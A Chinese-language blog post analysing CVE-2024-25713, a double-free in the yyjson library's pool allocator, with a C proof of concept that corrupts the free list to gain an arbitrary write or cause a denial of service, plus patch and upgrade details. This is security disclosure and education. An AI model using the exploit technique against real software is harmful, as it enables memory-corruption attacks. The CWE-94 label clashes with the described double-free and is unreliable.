深入解析yyjson双重释放漏洞:从原理到PoC

本文详细分析了CVE-2024-25713漏洞,该漏洞存在于yyjson库的池系列分配器中,可能导致双重释放、任意地址写入和拒绝服务攻击。文章包含漏洞原理、PoC利用代码和影响范围。

yyjson 双重释放漏洞分析 (CVE-2024-25713)

漏洞概述

yyjson 库的池系列分配器 (pool_malloc/pool_free/pool_realloc) 存在双重释放(Double Free)漏洞,可能导致任意地址写入和拒绝服务(DoS)攻击。结合使用该库的程序的其他合法或非法操作,任意地址写入可能导致远程代码执行。

漏洞详情

根本原因

该漏洞的核心原因在于 pool_free 函数缺少循环检查,而直接原因源于 pool_free 函数及类似的释放系列函数未执行指针销毁,导致释放后使用(UAF)漏洞

概念验证 (PoC)

以下是一个使用 yyjson 0.8.0 的 C 语言程序,演示如何利用双重释放漏洞导致内存块重叠,进而允许修改内存块的 next 指针指向任意地址。如果目标地址有效,则可以对其进行修改;如果地址无效,则可能导致程序崩溃,这可用于实施拒绝服务攻击。此外,构建内存块的循环链可能迫使服务陷入无限循环,同样可用于 DoS 攻击。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // 双重释放
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

影响范围

漏洞类型与受影响对象

这是一个内存安全漏洞,影响所有使用受影响版本(< 0.9.0)yyjson 库的应用程序。

yyjson 官方说明

yyjson_mut_doc_free() 的文档明确指出:

释放 JSON 文档并回收内存。调用此函数后,doc 和来自该 doc 的所有值都将不再可用。如果 doc 为 NULL,则此函数不执行任何操作。

如果已经对某个文档调用了 yyjson_mut_doc_free(),则该文档及其内部值均无效。对文档或其值的任何进一步操作都属于未定义行为

虽然这本身不是 yyjson 的 bug,但官方已提供一个防御性补丁:0eca326。如果错误地违反文档说明对同一个文档调用了两次 yyjson_mut_doc_free(),此补丁将使程序立即崩溃,从而提醒用户存在错误用法。

参考信息

技术指标

  • CVSS 评分: 8.8 (高危)
  • CVSS 向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
  • EPSS 分数: 3.142% (第86百分位)
  • CWE 分类: CWE-94 - 代码生成控制不当(代码注入)

受影响版本与修复

  • 受影响版本: < 0.9.0
  • 已修复版本: 0.9.0

建议所有用户升级到 yyjson 0.9.0 或更高版本以修复此漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计